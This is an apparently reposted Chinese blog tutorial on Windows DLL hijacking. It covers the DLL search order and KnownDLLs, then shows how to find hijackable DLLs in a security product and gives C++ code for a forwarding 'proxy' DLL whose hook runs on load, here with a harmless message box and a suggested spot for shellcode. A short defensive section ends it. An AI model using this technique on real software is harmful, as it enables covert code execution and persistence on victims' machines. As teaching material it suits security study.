日子越來越有判頭了?用DLL劫持,搞點事情!

代碼熬夜敲 2021-09-18 13:39:10 阅读数:41

日子 越有 dll 劫持 事情

0x01 dll簡介

在Windows系統中,為了節省內存和實現代碼重用,微軟在Windows操作系統中實現了一種共享函數庫的方式。這就是DLL(Dynamic Link Library),即動態鏈接庫,這種庫包含了可由多個程序同時使用的代碼和數據。

每個DLL都有一個入口函數(DLLMain),系統在特定環境下會調用DLLMain。在下面的事件發生時就會調用dll的入口函數:

  • 1.進程裝載DLL。
  • 2.進程卸載DLL。
  • 3.DLL在被裝載之後創建了新線程。
  • 4.DLL在被裝載之後一個線程被終止了。 另外,每個DLL文件中都包含有一個導出函數錶也叫輸出錶(存在於PE的.edata節中)。使用一些PE文件查看工具如LoadPE,就可以查看導出函數的符號名即函數名稱和函數在導出函數錶中的標識號。 應用程序導入函數與DLL文件中的導出函數進行鏈接有兩種方式:隱式鏈接(load-time dynamiclinking)也叫靜態調用和顯式鏈接(run-time dynamiclinking)也叫動態調用。隱式鏈接方式一般用於開發和調試,而顯式鏈接方式就是我們常見的使用LoadLibary或者LoadLibraryEx函數(注:涉及到模塊加載的函數有很多)來加載DLL去調用相應的導出函數。調用LoadLibrary或者LoadLibraryEx函數時可以使用DLL的相對路徑也可以使用絕對路徑,

dll路徑搜索規則

但是很多情况下,開發人員都是使用了相對路徑來進行DLL的加載。那麼,在這種情况下,Windows系統會按照特定的順序去搜索一些目錄,來確定DLL的完整路徑。關於動態鏈接庫的搜索順序的更多詳細資料請參閱MSDN。根據MSDN文檔的約定,在使用了DLL的相對路徑調用LoadLibrary函數時,系統會依次從下面幾個比特置去查找所需要調用的DLL文件。

  • 1.程序所在目錄。
  • 2.加載 DLL 時所在的當前目錄。
  • 3.系統目錄即 SYSTEM32 目錄。
  • 4.16比特系統目錄即 SYSTEM 目錄。
  • 5.Windows目錄。
  • 6.PATH環境變量中列出的目錄微軟為了防止DLL劫持漏洞的產生,在XP SP2之後,添加了一個SafeDllSearchMode的注册錶屬性。注册錶路徑如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
複制代碼

當SafeDllSearchMode的值設置為1,即安全DLL搜索模式開啟時,查找DLL的目錄順序如下:

  • 1.程序所在目錄
  • 2.系統目錄即 SYSTEM32 目錄。
  • 3.16比特系統目錄即 SYSTEM 目錄。
  • 4.Windows目錄。
  • 5.加載 DLL 時所在的當前目錄。
  • 6.PATH環境變量中列出的目錄。

在win7以上版本

微軟為了更進一步的防禦系統的DLL被劫持,將一些容易被劫持的系統DLL寫進了一個注册錶項中,那麼凡是此項下的DLL文件就會被禁止從EXE自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用。注册錶路徑如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
複制代碼

以前經常使用的一些劫持DLL已經被加入了KnownDLLs注册錶項,這就意味著使用諸如usp10.dll,lpk.dll,ws2_32.dll去進行DLL劫持已經失效了。

所以在win7及以上當啟用了SafeDllSearchMode搜索順序如下

  • 1.應用程序所在目錄。
  • 2.系統目錄SYSTEM32 目錄。
  • 3.16比特系統目錄。沒有獲取該目錄路徑的函數,但會對其進行搜索。
  • 4.Windows目錄。使用GetWindowsDirectory函數獲取此目錄的路徑。
  • 5.當前目錄
  • 6.環境變量PATH中所有目錄。需要注意的是,這裏不包括App Paths注册錶項指定的應用程序路徑。

Windows操作系統通過“DLL路徑搜索目錄順序”和“KnownDLLs注册錶項”的機制來確定應用程序所要調用的DLL的路徑,之後,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。 不過,微軟又莫名其妙的允許用戶在上述注册錶路徑中添加“ExcludeFromKnownDlls”注册錶項,排除一些被“KnownDLLs注册錶項”機制保護的DLL。也就是說,只要在“ExcludeFromKnownDlls”注册錶項中添加你想劫持的DLL名稱就可以對該DLL進行劫持,不過修改之後需要重新啟動電腦才能生效。

在上述描述加載DLL的整個過程中,DLL劫持漏洞就是在系統進行安裝“DLL路徑搜索目錄順序”搜索DLL的時候發生的。

無論安全DLL搜索模式是否開啟,系統總是首先會從應用程序(程序安裝目錄)所在目錄加載DLL,如果沒有找到就按照上面的順序依次進行搜索。那麼,利用這個特性,攻擊者就可以偽造一個相同名稱的dll,只要這個dll不在KnownDLLs注册錶項中,我們就可以對該dll進行劫持測試。

鍵值

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
複制代碼

win10的如下

在這裏插入圖片描述

0x02 尋找可劫持dll

有很多軟件可以查看exe加載的dll

process-explorer

docs.microsoft.com/zh-cn/sysin…

在這裏插入圖片描述

火絨劍

在這裏插入圖片描述

Process Monitor

docs.microsoft.com/zh-cn/sysin…

使用的時候可以設置Filter,填入過濾條件,可以幫助排除很多無用的信息

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
複制代碼

類似下圖這種就是該dll在KnownDLLs注册錶項裏

在這裏插入圖片描述

0x03 劫持測試

這裏用D盾進行劫持實驗

還是先使用Process Explorer

在這裏插入圖片描述

可以將這些dll文件與KnownDLLs注册錶項裏的dll進行比較,找出不在範圍內的dll進行劫持測試

當然這裏也有偷懶的方法,批量自動化測試

這裏ctrl+s可以直接保存獲取的信息文本,然後再通過正則來提取路徑信息,再放到批量驗證工具裏

在這裏插入圖片描述

存在的話就會直接輸出結果

在這裏插入圖片描述

不存在就會顯示no

在這裏插入圖片描述

上面顯示存在兩個dll可能可以劫持 這裏直接放一個彈計算器的dll改成WINSTA.dll放到D盾目錄下,再運行D盾,成功彈出。

在這裏插入圖片描述

0x04 進階測試

但是這種方法只劫持了加載計算機的函數,原來dll還有很多其他的導出函數,這樣直接劫持可能會導致程序無法正常啟動。

所以一般會制作一個相同名稱,相同導出函數錶的一個“假”DLL,並將每個導出函數轉向到“真”DLL。將這個“假”DLL放到程序的目錄下,當程序調用DLL中的函數時就會首先加載“假”DLL,在“假”DLL中攻擊者已經加入了惡意代碼,這時這些惡意代碼就會被執行,之後,“假”DLL再將DLL調用流程轉向“真”DLL,以免影響程序的正常執行。

這裏我們制作一個彈窗的dll來進行測試,

1.首先使用VS2019新建一個DLL項目

在這裏插入圖片描述

2.在生成的dllmain.cpp下添加

Bash

void msg() {
MessageBox(0, L"Dll-1 load succeed!", L"Good", 0);
}
複制代碼

3.然後再在頭文件下的framework.h文件內添加下面代碼來編譯導出dll文件

Bash

#pragma once
#define WIN32_LEAN_AND_MEAN // 從 Windows 頭文件中排除極少使用的內容
// Windows 頭文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
複制代碼

然後編譯生成Dll1.dll

在這裏插入圖片描述

再新建一個C++項目,填入如下代碼

在這裏插入圖片描述

Go

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定義一個函數類DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定動態加載dll庫
HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加載的DLL
if (hinst != NULL) {
// 獲取函數比特置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函數名
}
if (GetDllfunc != NULL) {
//運行msg函數
(*GetDllfunc)();
}
}
複制代碼

想了解dll編寫細節的可以看這裏 再次生成解决方案,然後將之前生成的Dll1.dll放到生成的Meg.exe同目錄下,運行Meg.exe

在這裏插入圖片描述

成功彈窗 這裏我們用之前轉發劫持dll的思路,來試驗一下 這裏我用脚本一鍵生成用來劫持的dll

在這裏插入圖片描述

這是默認生成的

Bash

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_msg;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("Dll1"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack() //default open a calc.//添加自己的代碼
{
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
Hijack_msg = GetAddress("msg");
Hijack();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
複制代碼

在編譯生成新的dll前要注意在代碼這一行,將Dll1改為Dll2.dll

Bash

lstrcpy(tzPath, TEXT("Dll2.dll"));
複制代碼

然後在代碼這一行添加彈窗或者執行shellcode

Go

VOID Hijack() //default open a calc.
{
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
}
複制代碼

然後編譯生成 再將我們之前生成的Dll1.dll改為Dll2.dll,將兩個Dll和Meg.exe放在同一個目錄下

在這裏插入圖片描述

運行Meg.exe這時候應該會有兩個彈窗

在這裏插入圖片描述

可以看到是先劫持DLL添加的彈窗,再彈出DLL原本的彈窗

0x05 防禦

通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此注册錶項下定義一個“已知DLL名稱”,那麼凡是此項下的DLL文件就會被禁止從EXE自身目錄下調用,而只能從系統目錄,也就是system32目錄下調用。據此可以寫一個簡單的DLL劫持免疫器 或者可以在加載dll是檢測MD5和大小,來防禦.

版权声明:本文为[代碼熬夜敲]所创,转载请带上原文链接,感谢。 https://gsmany.com/2021/09/20210918133910154F.html